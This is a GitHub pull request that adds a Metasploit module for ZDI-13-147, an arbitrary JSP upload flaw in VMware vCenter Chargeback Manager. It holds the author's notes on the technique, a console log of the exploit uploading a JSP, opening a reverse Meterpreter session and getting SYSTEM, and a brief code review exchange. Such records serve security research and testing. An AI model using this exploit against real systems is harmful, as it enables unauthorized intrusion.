Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add module for ZDI-13-147 #2124

Merged

Conversation

jvazquez-r7
Copy link
Contributor

Notes:

  • A jar with a webapp to deploy can't be uploaded because there isn't dir traversal, just arbitrary file upload to a dir where JSP exec is allowed.
  • In order to clean the jsp custom code is needed. The FileDropper can't be used because the file is landed into a directory dynamically created with the tomcat instance. So you must search for it.

Tested successfully on Windows 2003 SP2 / VMware vCenter Chargeback Manager 2.0.1:

  • check
msf exploit(vmware_vcenter_chargeback_upload) > check
[*] The target service is running, but could not be validated.

  • exploit
msf exploit(vmware_vcenter_chargeback_upload) > exploit

[*] Started reverse handler on 192.168.172.1:4444 
[*] 192.168.172.161:443 - Uploading JSP to execute the payload
[*] 192.168.172.161:443 - Executing payload
[*] Sending stage (751104 bytes) to 192.168.172.161
[*] Meterpreter session 5 opened (192.168.172.1:4444 -> 192.168.172.161:2289) at 2013-07-18 15:38:54 -0500
[*] 192.168.172.161:443 - Searching: NcZyERev.jsp
[!] Deleting: c:\\Program Files\VMware\VMware vCenter Chargeback\apache-tomcat\webapps\cbmui\images\NcZyERev.jsp
[+] 192.168.172.161:443 - NcZyERev.jsp deleted
[!] This exploit may require manual cleanup of: ZoMUTwRw.exe

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 


register_options(
[
Opt::RPORT(443)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This can go to DefaultOptions, no?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I guess. Does it hurts to use the builtin methods to set it?

Just asking, maybe there is something which isn't fine with it and I'm not aware about it.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No, I don't think it hurts.

@wchen-r7 wchen-r7 merged commit cb108a8 into rapid7:master Jul 19, 2013
@jvazquez-r7 jvazquez-r7 deleted the vmware_vcenter_chargeback_upload branch November 18, 2014 15:58
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

2 participants